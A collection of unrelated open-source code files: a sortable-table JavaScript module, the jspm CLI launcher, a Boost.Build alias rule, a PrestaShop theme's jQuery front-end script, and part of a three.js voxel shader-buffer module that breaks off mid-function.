const DIRECTIONS = config.DIRECTIONS;
const UNDEFINED = config.UNDEFINED;
const TableSortable = {
ui: {
base: '.o-table__sortable',
tableBody: 'tbody',
sortButton: '.sorted-up, .sorted-down'
},
classes: {
sortDown: 'sorted-down',
sortUp: 'sorted-up'
},
events: {
'click .sortable': 'onSortableClick'
},
initialize: initialize,
bindProperties: bindProperties,
getColumnIndex: getColumnIndex,
updateTable: updateTable,
updateTableData: updateTableData,
updateTableDom: updateTableDom,
tableDataSorter: tableDataSorter,
onSortableClick: onSortableClick
};
/**
* Function used to create computed and triggered properties.
*/
function initialize() {
this.sortClass = UNDEFINED;
this.sortColumnIndex = UNDEFINED;
this.sortDirection = UNDEFINED;
this.tableData = [];
this.bindProperties();
if ( this.ui.sortButton ) {
this.sortColumnIndex = this.getColumnIndex();
this.sortDirection = DIRECTIONS.UP;
if ( this.ui.sortButton.classList.contains( this.classes.sortDown ) ) {
this.sortDirection = DIRECTIONS.DOWN;
}
this.updateTable();
}
}
/**
* Function used to create computed and trigger properties.
*/
function bindProperties() {
let sortDirection;
Object.defineProperty( this, 'sortDirection', {
configurable: true,
get: function() {
return sortDirection;
},
set: function( value ) {
if ( value === DIRECTIONS.UP ) {
this.sortClass = this.classes.sortUp;
} else if ( value === DIRECTIONS.DOWN ) {
this.sortClass = this.classes.sortDown;
}
sortDirection = value;
}
} );
}
/**
* Function used to get the column index of the active sort column.
*
* @param {HTMLNode} element - The element used as the sortable.
* @returns {number} The column index of the active sort column.
*/
function getColumnIndex( element ) {
return closest( element || this.ui.sortButton, 'td, th' ).cellIndex;
}
/**
* Function used to update the table data and dom.
* @returns {boolean} TODO: Add description.
*/
function updateTable() {
return this.updateTableData() && this.updateTableDom();
}
/**
* Function used to get, sort, and update the table data array.
*
* @param {number} columnIndex - The index of the column used for sorting.
* @returns {Array} Multidimensional array of column's cell value
* and corresponding row element.
*/
function updateTableData( columnIndex ) {
let cell;
const rows = this.ui.tableBody.querySelectorAll( 'tr' );
this.tableData = [];
columnIndex = columnIndex || this.sortColumnIndex;
for ( let i = 0, len = rows.length; i < len; ++i ) {
cell = rows[i].cells[columnIndex];
if ( cell ) {
cell = cell.textContent.trim();
}
this.tableData.push( [ cell, rows[i] ] );
}
const sortType = this.ui.sortButton.getAttribute( 'data-sort_type' );
this.tableData.sort( this.tableDataSorter( this.sortDirection, sortType ) );
return this.tableData;
}
/**
* Function used to update the table DOM.
* @returns {HTMLNode} The table's <tbody> element.
*/
function updateTableDom() {
const tableBody = this.ui.tableBody;
/* Empty the table body to prepare for sorting the rows
TODO: It might make sense to use innerHTML
from a performance and garbage collection standpoint. */
while ( tableBody.lastChild ) {
tableBody.removeChild( tableBody.lastChild );
}
const documentFragment = document.createDocumentFragment();
for ( let i = 0; i < this.tableData.length; i++ ) {
documentFragment.appendChild( this.tableData[i][1] );
}
tableBody.appendChild( documentFragment );
this.trigger( 'table:updated' );
return tableBody;
}
// TODO Fix complexity issue
/* eslint-disable complexity */
/**
* Function used to create a function for sorting table data.
* Passed to Array.sort method.
*
* @param {number} direction - A number where a negative number indicates a
* reverse sort.
* @param {string} sortType - A string used for sort types. By default,
* the values are sorted by their native type. If this value is set to
* 'number', then the cells' numeric values are used.
* @returns {Function} - A function to be used by the Array.sort method,
* where the parameters 'a' and 'b' is each an Array (of Arrays) to be sorted.
*/
function tableDataSorter( direction, sortType ) {
return function( a, b ) {
const sign = direction === DIRECTIONS.DOWN ? -1 : 1;
let order = 0;
const regex = /[^\d.-]/g;
// Set a and b to the first Array in each Array-of-Arrays
a = a[0];
b = b[0];
// For number sort, convert a & b to numbers.
if ( sortType === 'number' ) {
a = Number( a.replace( regex, '' ) );
b = Number( b.replace( regex, '' ) );
}
// Sort the values
if ( a < b ) {
order = sign * -1;
} else if ( a > b ) {
order = sign;
}
return order;
};
}
/* eslint-enable complexity */
/**
* Function used as callback for the sortable click event.
*
* @param {Event} event - DOM event.
* @returns {Object} - TOOD: Add description.
*/
function onSortableClick( event ) {
if ( this.ui.sortButton ) {
this.ui.sortButton.classList.remove( this.sortClass );
}
if ( this.ui.sortButton === event.target ) {
this.sortDirection = ~this.sortDirection;
} else {
this.ui.sortButton = event.target;
this.sortColumnIndex = this.getColumnIndex();
this.sortDirection = DIRECTIONS.UP;
}
// The active sort class is changing when the sort direction changes.
this.ui.sortButton.classList.add( this.sortClass );
this.updateTable();
return this;
}
module.exports = TableSortable;
|
#!/usr/bin/env node
/*
* Copyright 2014-2015 Guy Bedford (http://guybedford.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
var Liftoff = require('liftoff');
var path = require('path');
var jspmCLI = new Liftoff({
name: 'jspm',
configName: 'package',
extensions: {
'.json': null
}
});
jspmCLI.launch({}, function(env) {
process.env.jspmConfigPath = env.configPath || '';
process.env.globalJspm = !env.modulePath;
if (env.modulePath)
require(path.resolve(env.modulePath, '../cli'));
else
require('./cli');
});
|
# Copyright 2003, 2004, 2006 Vladimir Prus
# Distributed under the Boost Software License, Version 1.0.
# (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt)
# Status: ported (danielw)
# Base revision: 56043
# This module defines the 'alias' rule and associated class.
#
# Alias is just a main target which returns its source targets without any
# processing. For example::
#
# alias bin : hello test_hello ;
# alias lib : helpers xml_parser ;
#
# Another important use of 'alias' is to conveniently group source files::
#
# alias platform-src : win.cpp : <os>NT ;
# alias platform-src : linux.cpp : <os>LINUX ;
# exe main : main.cpp platform-src ;
#
# Lastly, it's possible to create local alias for some target, with different
# properties::
#
# alias big_lib : : @/external_project/big_lib/<link>static ;
#
import targets
import property_set
from b2.manager import get_manager
from b2.util import metatarget
class AliasTarget(targets.BasicTarget):
def __init__(self, *args):
targets.BasicTarget.__init__(self, *args)
def construct(self, name, source_targets, properties):
return [property_set.empty(), source_targets]
def compute_usage_requirements(self, subvariant):
base = targets.BasicTarget.compute_usage_requirements(self, subvariant)
# Add source's usage requirement. If we don't do this, "alias" does not
# look like 100% alias.
return base.add(subvariant.sources_usage_requirements())
@metatarget
def alias(name, sources=[], requirements=[], default_build=[], usage_requirements=[]):
project = get_manager().projects().current()
targets = get_manager().targets()
targets.main_target_alternative(AliasTarget(
name, project,
targets.main_target_sources(sources, name, no_renaming=True),
targets.main_target_requirements(requirements or [], project),
targets.main_target_default_build(default_build, project),
targets.main_target_usage_requirements(usage_requirements or [], project)))
# Declares the 'alias' target. It will build sources, and return them unaltered.
get_manager().projects().add_rule("alias", alias)
|
/*
* 2007-2016 PrestaShop
*
* NOTICE OF LICENSE
*
* This source file is subject to the Academic Free License (AFL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/afl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade PrestaShop to newer
* versions in the future. If you wish to customize PrestaShop for your
* needs please refer to http://www.prestashop.com for more information.
*
* @author PrestaShop SA <[email protected]>
* @copyright 2007-2016 PrestaShop SA
* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)
* International Registered Trademark & Property of PrestaShop SA
*/
//global variables
var responsiveflag = false;
$(document).ready(function(){
/** dola start **/
$('.ybc_myaccout').on('click', function(e){
if($(window).width() <= 767) {
$(this).find('.dropdown_myaccout').toggleClass('active');
}
});
$(document).on('click','.header_style_2 .toggle-menu',function(e){
$('.ybc-menu-wrapper').slideToggle().toggleClass('active');
$('.toogle_search_top').removeClass('open');
$('.search_block_top_fixed').removeClass('open');
});
$('.ybc-layout-layout4 .box-dropdown-account-layout4').hover(function(){
$(this).find('.dropdown-account-layout4').stop().slideDown();
},function(){
$(this).find('.dropdown-account-layout4').stop().slideUp();
});
if ($('#box-tesimonial').length > 0)
$("#box-tesimonial").owlCarousel({
items : 1,
itemsCustom : [[0, 1], [480,1], [600,1], [768,1], [992,1], [1199,1]],
dots : false,
nav : true,
});
$('.toogle_nav').on('click', function(e){
$('#header > .nav').toggleClass('active');
});
$('.nav > i').on('click', function(e){
$('#header > .nav').removeClass('active');
});
/*** toggle menu ***/
$('.toggle-menu').on('click', function(e){
$(this).parent().find('.ybc-menu-wrapper').slideToggle();
});
/** end dola **/
highdpiInit();
responsiveResize();
$(window).resize(responsiveResize);
if (navigator.userAgent.match(/Android/i))
{
var viewport = document.querySelector('meta[name="viewport"]');
viewport.setAttribute('content', 'initial-scale=1.0,maximum-scale=1.0,user-scalable=0,width=device-width,height=device-height');
window.scrollTo(0, 1);
}
if (typeof quickView !== 'undefined' && quickView)
quick_view();
dropDown();
if (typeof page_name != 'undefined' && !in_array(page_name, ['index', 'product']))
{
bindGrid();
$(document).on('change', '.selectProductSort', function(e){
if (typeof request != 'undefined' && request)
var requestSortProducts = request;
var splitData = $(this).val().split(':');
var url = '';
if (typeof requestSortProducts != 'undefined' && requestSortProducts)
{
url += requestSortProducts ;
if (typeof splitData[0] !== 'undefined' && splitData[0])
{
url += ( requestSortProducts.indexOf('?') < 0 ? '?' : '&') + 'orderby=' + splitData[0] + (splitData[1] ? '&orderway=' + splitData[1] : '');
if (typeof splitData[1] !== 'undefined' && splitData[1])
url += '&orderway=' + splitData[1];
}
document.location.href = url;
}
});
$(document).on('change', 'select[name="n"]', function(){
$(this.form).submit();
});
$(document).on('change', 'select[name="currency_payment"]', function(){
setCurrency($(this).val());
});
}
$(document).on('change', 'select[name="manufacturer_list"], select[name="supplier_list"]', function(){
if (this.value != '')
location.href = this.value;
});
$(document).on('click', '.back', function(e){
e.preventDefault();
history.back();
});
jQuery.curCSS = jQuery.css;
if (!!$.prototype.cluetip)
$('a.cluetip').cluetip({
local:true,
cursor: 'pointer',
dropShadow: false,
dropShadowSteps: 0,
showTitle: false,
tracking: true,
sticky: false,
mouseOutClose: true,
fx: {
open: 'fadeIn',
openSpeed: 'fast'
}
}).css('opacity', 0.8);
if (typeof(FancyboxI18nClose) !== 'undefined' && typeof(FancyboxI18nNext) !== 'undefined' && typeof(FancyboxI18nPrev) !== 'undefined' && !!$.prototype.fancybox)
$.extend($.fancybox.defaults.tpl, {
closeBtn : '<a title="' + FancyboxI18nClose + '" class="fancybox-item fancybox-close" href="javascript:;"></a>',
next : '<a title="' + FancyboxI18nNext + '" class="fancybox-nav fancybox-next" href="javascript:;"><span></span></a>',
prev : '<a title="' + FancyboxI18nPrev + '" class="fancybox-nav fancybox-prev" href="javascript:;"><span></span></a>'
});
// Close Alert messages
$(".alert.alert-danger").on('click', this, function(e){
if (e.offsetX >= 16 && e.offsetX <= 39 && e.offsetY >= 16 && e.offsetY <= 34)
$(this).fadeOut();
});
});
function highdpiInit()
{
if (typeof highDPI === 'undefined')
return;
if(highDPI && $('.replace-2x').css('font-size') == "1px")
{
var els = $("img.replace-2x").get();
for(var i = 0; i < els.length; i++)
{
src = els[i].src;
extension = src.substr( (src.lastIndexOf('.') +1) );
src = src.replace("." + extension, "2x." + extension);
var img = new Image();
img.src = src;
img.height != 0 ? els[i].src = src : els[i].src = els[i].src;
}
}
}
// Used to compensante Chrome/Safari bug (they don't care about scroll bar for width)
function scrollCompensate()
{
var inner = document.createElement('p');
inner.style.width = "100%";
inner.style.height = "200px";
var outer = document.createElement('div');
outer.style.position = "absolute";
outer.style.top = "0px";
outer.style.left = "0px";
outer.style.visibility = "hidden";
outer.style.width = "200px";
outer.style.height = "150px";
outer.style.overflow = "hidden";
outer.appendChild(inner);
document.body.appendChild(outer);
var w1 = inner.offsetWidth;
outer.style.overflow = 'scroll';
var w2 = inner.offsetWidth;
if (w1 == w2) w2 = outer.clientWidth;
document.body.removeChild(outer);
return (w1 - w2);
}
function responsiveResize()
{
compensante = scrollCompensate();
if (($(window).width()+scrollCompensate()) <= 767 && responsiveflag == false)
{
accordion('enable');
accordionFooter('enable');
responsiveflag = true;
}
else if (($(window).width()+scrollCompensate()) >= 768)
{
accordion('disable');
accordionFooter('disable');
responsiveflag = false;
if (typeof bindUniform !=='undefined')
bindUniform();
}
blockHover();
}
function blockHover(status)
{
var screenLg = $('body').find('.container').width() == 1170;
if ($('.product_list').is('.grid'))
if (screenLg)
$('.product_list .button-container').hide();
else
$('.product_list .button-container').show();
$(document).off('mouseenter').on('mouseenter', '.product_list.grid li.ajax_block_product .product-container', function(e){
if (screenLg)
{
var pcHeight = $(this).parent().outerHeight();
var pcPHeight = $(this).parent().find('.button-container').outerHeight() + $(this).parent().find('.comments_note').outerHeight() + $(this).parent().find('.functional-buttons').outerHeight();
$(this).parent().addClass('hovered');//.css({'height':pcHeight + pcPHeight, 'margin-bottom':pcPHeight * (-1)});
$(this).find('.button-container').show();
}
});
$(document).off('mouseleave').on('mouseleave', '.product_list.grid li.ajax_block_product .product-container', function(e){
if (screenLg)
{
$(this).parent().removeClass('hovered');//.css({'height':'auto', 'margin-bottom':'0'});
$(this).find('.button-container').hide();
}
});
}
function quick_view()
{
$(document).on('click', '.quick-view:visible, .quick-view-mobile:visible', function(e){
e.preventDefault();
var url = this.rel;
var anchor = '';
if (url.indexOf('#') != -1)
{
anchor = url.substring(url.indexOf('#'), url.length);
url = url.substring(0, url.indexOf('#'));
}
if (url.indexOf('?') != -1)
url += '&';
else
url += '?';
if (!!$.prototype.fancybox)
$.fancybox({
'padding': 0,
'width': 1087,
'height': 610,
'type': 'iframe',
'href': url + 'content_only=1' + anchor
});
});
}
function bindGrid()
{
var storage = false;
if (typeof(getStorageAvailable) !== 'undefined') {
storage = getStorageAvailable();
}
if (!storage) {
return;
}
var view = $.totalStorage('display');
if (!view && (typeof displayList != 'undefined') && displayList)
view = 'list';
if (view && view != 'grid')
display(view);
else
$('.display').find('li#grid').addClass('selected');
$(document).on('click', '#grid', function(e){
e.preventDefault();
display('grid');
});
$(document).on('click', '#list', function(e){
e.preventDefault();
display('list');
});
}
function display(view)
{
if (view == 'list')
{
$('ul.product_list').removeClass('grid').addClass('list row');
$('.product_list > li').removeClass('col-xs-12 col-sm-6 col-md-4').addClass('col-xs-12');
$('.product_list > li').each(function(index, element) {
var html = '';
html = '<div class="product-container"><div class="row">';
html += '<div class="left-block col-xs-5 col-sm-5 col-md-4">' + $(element).find('.left-block').html() + '</div>';
html += '<div class="center-block col-xs-7 col-sm-7">';
//html += '<div class="product-flags">'+ $(element).find('.product-flags').html() + '</div>';
html += '<h5 itemprop="name">'+ $(element).find('h5').html() + '</h5>';
var hookReviews = $(element).find('.hook-reviews');
if (hookReviews.length) {
html += hookReviews.clone().wrap('<div>').parent().html();
}
html += '<p class="product-desc">'+ $(element).find('.product-desc').html() + '</p>';
html += '</div>';
html += '<div class="right-block col-xs-7 col-sm-7"><div class="right-block-content row">';
var price = $(element).find('.content_price').html(); // check : catalog mode is enabled
if (price != null) {
html += '<div class="content_price col-xs-12 col-md-12">'+ price + '</div>';
}
html += '<div class="bt_function">'+ $(element).find('.bt_function').html() +'</div>';
//html += '<div class="button-container col-xs-12 col-md-12">'+ $(element).find('.button-container').html() +'</div>';
//html += '<div class="functional-buttons clearfix col-sm-12">' + $(element).find('.functional-buttons').html() + '</div>';
html += '</div>';
html += '</div></div>';
$(element).html(html);
});
$('.display').find('li#list').addClass('selected');
$('.display').find('li#grid').removeAttr('class');
$.totalStorage('display', 'list');
}
else
{
$('ul.product_list').removeClass('list').addClass('grid row');
$('.product_list > li').removeClass('col-xs-12').addClass('col-xs-12 col-sm-6 col-md-4');
$('.product_list > li').each(function(index, element) {
var html = '';
html += '<div class="product-container">';
html += '<div class="left-block">' + $(element).find('.left-block').html() + '</div>';
html += '<div class="right-block">';
html += '<div class="product-flags">'+ $(element).find('.product-flags').html() + '</div>';
html += '<h5 itemprop="name">'+ $(element).find('h5').html() + '</h5>';
var hookReviews = $(element).find('.hook-reviews');
if (hookReviews.length) {
html += hookReviews.clone().wrap('<div>').parent().html();
}
html += '<p itemprop="description" class="product-desc">'+ $(element).find('.product-desc').html() + '</p>';
var price = $(element).find('.content_price').html(); // check : catalog mode is enabled
if (price != null) {
html += '<div class="content_price">'+ price + '</div>';
}
html += '<div class="bt_function">'+ $(element).find('.bt_function').html() +'</div>'
//html += '<div itemprop="offers" itemscope itemtype="https://schema.org/Offer" class="button-container">'+ $(element).find('.button-container').html() +'</div>';
//var colorList = $(element).find('.color-list-container').html();
//if (colorList != null) {
//html += '<div class="color-list-container">'+ colorList +'</div>';
//}
//var availability = $(element).find('.availability').html(); // check : catalog mode is enabled
//if (availability != null) {
// html += '<span class="availability">'+ availability +'</span>';
//}
html += '</div>';
//html += '<div class="functional-buttons clearfix">' + $(element).find('.functional-buttons').html() + '</div>';
html += '</div>';
$(element).html(html);
});
$('.display').find('li#grid').addClass('selected');
$('.display').find('li#list').removeAttr('class');
$.totalStorage('display', 'grid');
}
}
function dropDown()
{
elementClick = '#header .current';
elementSlide = 'ul.toogle_content';
activeClass = 'active';
$(elementClick).on('click', function(e){
e.stopPropagation();
var subUl = $(this).next(elementSlide);
if(subUl.is(':hidden'))
{
subUl.slideDown();
$(this).addClass(activeClass);
}
else
{
subUl.slideUp();
$(this).removeClass(activeClass);
}
$(elementClick).not(this).next(elementSlide).slideUp();
$(elementClick).not(this).removeClass(activeClass);
e.preventDefault();
});
$(elementSlide).on('click', function(e){
e.stopPropagation();
});
$(document).on('click', function(e){
e.stopPropagation();
var elementHide = $(elementClick).next(elementSlide);
$(elementHide).slideUp();
$(elementClick).removeClass('active');
});
}
function accordionFooter(status)
{
if(status == 'enable')
{
$('#footer .footer-block h4').on('click', function(e){
$(this).toggleClass('active').parent().find('.toggle-footer').stop().slideToggle('medium');
e.preventDefault();
})
$('#footer').addClass('accordion').find('.toggle-footer').slideUp('fast');
}
else
{
$('.footer-block h4').removeClass('active').off().parent().find('.toggle-footer').removeAttr('style').slideDown('fast');
$('#footer').removeClass('accordion');
}
}
function accordion(status)
{
if(status == 'enable')
{
var accordion_selector = '#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4,' +
'#left_column .shopping_cart > a:first-child, #right_column .shopping_cart > a:first-child';
$(accordion_selector).on('click', function(e){
$(this).toggleClass('active').parent().find('.block_content').stop().slideToggle('medium');
});
$('#right_column, #left_column').addClass('accordion').find('.block .block_content').slideUp('fast');
if (typeof(ajaxCart) !== 'undefined')
ajaxCart.collapse();
}
else
{
$('#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4').removeClass('active').off().parent().find('.block_content').removeAttr('style').slideDown('fast');
$('#left_column, #right_column').removeClass('accordion');
}
}
function bindUniform()
{
if (!!$.prototype.uniform)
$("select.form-control,input[type='radio'],input[type='checkbox']").not(".not_uniform").uniform();
}
$(document).ready(function(){
$(function() {
if ($('.center_column').length > 0)
{
var sticky_navigation_offset_top = $('.center_column').offset().top;
var sticky_navigation = function(){
var scroll_top = $(window).scrollTop();
if (scroll_top > sticky_navigation_offset_top) {
$('.scroll_top').addClass('show_scroll');
} else {
$('.scroll_top').removeClass('show_scroll');
}
};
sticky_navigation();
$(window).scroll(function() {
sticky_navigation();
});
}
});
});
function widthblog(){
if ($(window).width() >=992 ){
var widthmain = $('#columns.container').width() + 30;
var blogfirst = parseInt(widthmain/3);
var blogsecond = parseInt(widthmain/3*2);
$('.ybc-blog-posts-home-list-item.smallwidth').css({'width':blogfirst+'px'});
$('.ybc-blog-posts-home-list-item.largeblog').css({'width':blogsecond+'px'});
}
}
function autohideNavbestsell(){
var viewport = $(window).width();
var itemCount = $('#blockbestsellers .ajax_block_product.item').length;
if(
(viewport >= 992 && itemCount > 4) //desktop
|| ((viewport >= 768 && viewport < 992) && itemCount > 3) //desktopsmall
|| ((viewport >= 480 && viewport < 768) && itemCount > 2) //tablet
|| (viewport < 479 && itemCount > 2) //mobile
){
$('#blockbestsellers .owl-nav').show();
}
else
{
$('#blockbestsellers .owl-nav').hide();
}
}
function autohideNavrelated(){
var viewport = $(window).width();
var itemCount = $('.blockproductscategory .product-box.item').length;
if(
(viewport >= 992 && itemCount > 4) //desktop
|| ((viewport >= 768 && viewport < 992) && itemCount > 3) //desktopsmall
|| ((viewport >= 480 && viewport < 768) && itemCount > 2) //tablet
|| (viewport < 479 && itemCount > 2) //mobile
){
$('.blockproductscategory .owl-nav').show().addClass('active');
}
else
{
$('.blockproductscategory .owl-nav').hide();
}
}
function autohideNavnew(){
var viewport = $(window).width();
var itemCount = $('#blocknewproducts .ajax_block_product.item').length;
if(
(viewport >= 992 && itemCount > 4) //desktop
|| ((viewport >= 768 && viewport < 992) && itemCount > 3) //desktopsmall
|| ((viewport >= 480 && viewport < 768) && itemCount > 2) //tablet
|| (viewport < 479 && itemCount > 2) //mobile
){
$('#blocknewproducts .owl-nav').show();
}
else
{
$('#blocknewproducts .owl-nav').hide();
}
}
function autohideNavpopular(){
var viewport = $(window).width();
var itemCount = $('#homefeatured .ajax_block_product.item').length;
if(
(viewport >= 992 && itemCount > 4) //desktop
|| ((viewport >= 768 && viewport < 992) && itemCount > 3) //desktopsmall
|| ((viewport >= 480 && viewport < 768) && itemCount > 2) //tablet
|| (viewport < 479 && itemCount > 2) //mobile
){
$('#homefeatured .owl-nav').show();
}
else
{
$('#homefeatured .owl-nav').hide();
}
}
function autohideNavspecial(){
var viewport = $(window).width();
var itemCount = $('#blockspecials .ajax_block_product.item').length;
if(
(viewport >= 992 && itemCount > 4) //desktop
|| ((viewport >= 768 && viewport < 992) && itemCount > 3) //desktopsmall
|| ((viewport >= 480 && viewport < 768) && itemCount > 2) //tablet
|| (viewport < 479 && itemCount > 2) //mobile
){
$('#blockspecials .owl-nav').show();
}
else
{
$('#blockspecials .owl-nav').hide();
}
}
$(document).ready(function(){
$(document).on('click', '.scroll_top > span',function(e) {
$("html, body").animate({ scrollTop: 0 }, "slow");
return false;
});
$(document).on('click', '.button_toggle_nav', function(e){
$(this).next().toggleClass('active');
});
$(document).on('click','.toogle_search_top', function(e){
$(this).toggleClass('open').next().toggleClass('open');
$(this).parent().addClass('open');
if ( $('.ybc-layout-layout2 .ybc-menu-wrapper').hasClass('active') ){
$('.ybc-layout-layout2 .ybc-menu-wrapper').slideUp().removeClass('active');
}
});
$(document).on('click','.search_block_top_close',function(e){
$('.toogle_search_top').removeClass('open');
$('.search_block_top_fixed').removeClass('open');
});
$(window).load(function(){
autohideNavbestsell();
autohideNavnew();
autohideNavpopular();
autohideNavspecial();
autohideNavrelated();
});
$(window).on('resize',function(){
autohideNavbestsell();
autohideNavnew();
autohideNavpopular();
autohideNavspecial();
autohideNavrelated();
});
});
|
import * as THREE from "./three.js/three.module.js"
const attribs = ["position","uv"
,"in_Color", "in_FaceColor", "in_Modulous"
,"normal", "in_Pow", "in_flat_color", "in_use_texture", "in_decal_texture"
];
const attrib_bytes = [4,4,1,1,1,4,4,1,1,1]
const attrib_sizes = [3,2,4,4,2,3,1,1,1,1]
const attrib_normalize = [false,false,true,true,0,0,0,0,1,0]
const attrib_buftype = [Float32Array,Float32Array
,Uint8Array,Uint8Array,Uint8Array
,Float32Array,Float32Array,Uint8Array,Uint8Array, Uint8Array]
export function getShaderBuffer() {
var buffer = {};
buffer.geometry = new THREE.BufferGeometry();
buffer.geometry.uniforms = {
edge_only : false,
map:null,
};
// create a simple square shape. We duplicate the top left and bottom right
// vertices because each vertex needs to appear once per triangle.
buffer.position = new Float32Array( [] );
buffer.uv = new Float32Array( [] );
buffer.in_Color = new Uint8Array( [] );
buffer.in_FaceColor = new Uint8Array( [] );
buffer.normal = new Float32Array( [] );
buffer.in_Pow = new Float32Array( [] );
buffer.in_use_texture = new Uint8Array( [] );
buffer.in_flat_color = new Uint8Array( [] );
buffer.in_decal_texture = new Uint8Array( [] );
buffer.in_Modulous = new Int8Array( [] );
buffer.available = 0;
buffer.used = 0;
buffer.clear = function() {
this.used = 0;
}
attribs.forEach( (att,index)=>{
buffer.geometry.setAttribute( att, new THREE.BufferAttribute( buffer[att], attrib_sizes[index], attrib_normalize[index] ))
})
buffer.updateUniforms = function() {
console.log( this.material.uniforms, this.geometry.uniforms );
}
buffer.expand = function() {
var newbuf;
this.available = ( this.available + 1 ) * 2;
attribs.forEach( (att,index)=>{
newbuf = new attrib_buftype[index]( new ArrayBuffer( this.available * ( attrib_bytes[index] * attrib_sizes[index] ) ) );
newbuf.set( buffer[att] );
buffer[att] = newbuf;
})
};
buffer.markDirty = function () {
attribs.forEach( (att)=>{
var attrib = this.geometry.getAttribute(att);
attrib.needsUpdate = true;
attrib.array = buffer[att];
attrib.count = buffer.used;
})
//console.log( "dirty", this.geometry.attributes );
}
buffer.addPoint = function( v, t, tBase, c, fc, n, p, ut, flat, dt, mod ) {
if( this.used >= this.available )
this.expand();
const u2 = this.used * 2;
const u3 = this.used * 3;
const u4 = this.used * 4;
if( t ) {
this.uv[u2+0] = t[tBase+0];
this.uv[u2+1] = t[tBase+1];
}
else {
this.uv[u2+0] = 0;
this.uv[u2+1] = 0;
}
this.position[u3 + 0 ] = v.x;
this.position[u3 + 1 ] = v.y;
this.position[u3 + 2 ] = v.z;
if( c ) {
this.in_Color[u4 + 0 ] = c.x*255;
this.in_Color[u4 + 1 ] = c.y*255;
this.in_Color[u4 + 2 ] = c.z*255;
this.in_Color[u4 + 3 ] = c.w*255; }
if( fc ) {
this.in_FaceColor[u4 + 0 ] = fc.x*255;
this.in_FaceColor[u4 + 1 ] = fc.y*255;
this.in_FaceColor[u4 + 2 ] = fc.z*255;
this.in_FaceColor[u4 + 3 ] = fc.w*255; }
this.normal[u3 + 0] = n?n.x:0;
this.normal[u3 + 1] = n?n.y:0;
this.normal[u3 + 2] = n?n.z:1;
this.in_Pow[ this.used ] = p;
this.in_use_texture[ this.used ] = ut;
this.in_flat_color[this.used] = flat;
this.in_decal_texture[this.used] = dt;
this.in_Modulous[this.used * 2 + 0] = mod[0];
this.in_Modulous[this.used * 2 + 1] = mod[1];
this.used++;
};
//buffer.
buffer.AddQuad = function( norm, P1,P2,P3,P4,faceColor,color,pow ) {
const min = 0;
const max = 1;
this.addPoint( P1, undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,min] );
this.addPoint( P2, undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,min] );
this.addPoint( P3, undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,max] );
this.addPoint( P2, undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,min] );
this.addPoint( P4, undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,max] );
this.addPoint( P3, undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,max] );
}
buffer.AddQuadTexture = function( norm, P1,P2,P3,P4,textureCoords ) {
const min = 0;
const max = 1;
this.addPoint( P1, textureCoords.uv_array, 0, undefined, undefined, norm, undefined, 255, false, false, [min,min] );
this.addPoint( P2, textureCoords.uv_array, 2, undefined, undefined, norm, undefined, 255, false, false, [max,min] );
this.addPoint( P3, textureCoords.uv_array, 4, undefined, undefined, norm, undefined, 255, false, false, [min,max] );
this.addPoint( P2, textureCoords.uv_array, 2, undefined, undefined, norm, undefined, 255, false, false, [max,min] );
this.addPoint( P4, textureCoords.uv_array, 6, undefined, undefined, norm, undefined, 255, false, false, [max,max] );
this.addPoint( P3, textureCoords.uv_array, 4, undefined, undefined, norm, undefined, 255, false, false, [min,max] );
}
buffer.addSimpleQuad = function( quad, color, faceColor, norm, pow ) {
var min = 0;
var max = 1;
this.addPoint( quad[0], undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,min] );
this.addPoint( quad[1], undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,min] );
this.addPoint( quad[2], undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,max] );
this.addPoint( quad[1], undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,min] );
this.addPoint( quad[3], undefined, undefined, color, faceColor, norm, pow, false, false, false, [max,max] );
this.addPoint( quad[2], undefined, undefined, color, faceColor, norm, pow, false, false, false, [min,max] );
}
const white = new THREE.Vector4( 0.5, 0, 0, 1 );
buffer.addSimpleQuadTex = function( quad, uvs, norm, pow ) {
var min = 0;
var max = 1.0;
return [this.addPoint( quad[0], uvs, 0, white, white, norm, pow, 255, false, false, [min,min] )
,this.addPoint( quad[1], uvs, 2, white, white, norm, pow, 255, false, false, [max,min] )
,this.addPoint( quad[2], uvs, 4, white, white, norm, pow, 255, false, false, [min,max] )
,this.addPoint( quad[1], uvs, 2, white, white, norm, pow, 255, false, false, [max,min] )
,this.addPoint( quad[3], uvs, 6, white, white, norm, pow, 255, false, false, [max,max] )
,this.addPoint( quad[2], uvs, 4, white, white, norm, pow, 255, false, false, [min,max] )
];
}
buffer.updateVoxCube = function( voxelType ) {
// this shouldn't change anyway....
//return;
if( voxelType && voxelType.image
&& (( voxelType.properties.DrawInfo & Voxelarium.ZVOXEL_DRAWINFO_SHADER ) == 0 )
) {
//var in_uvs = voxelType.textureCoords.uvs;
var uvs = voxelType.textureCoords.uv_array;
const tBase = [0,2,4,2,6,4];
let changed = false;
for( let v = 0; v < this.used/6; v++ ) {
for( let face = 0; face < 6; face++ ) {
const u2 = (v*6+face)*2
if( buffer.uv[u2+0] !== uvs[tBase[face]+0] ||
buffer.uv[u2+1] !== uvs[tBase[face]+1] ) {
console.log( "changing UVS:", uvs );
buffer.uv[u2+0] = uvs[tBase[face]+0];
buffer.uv[u2+1] = uvs[tBase[face]+1];
changed = true;
}
}
}
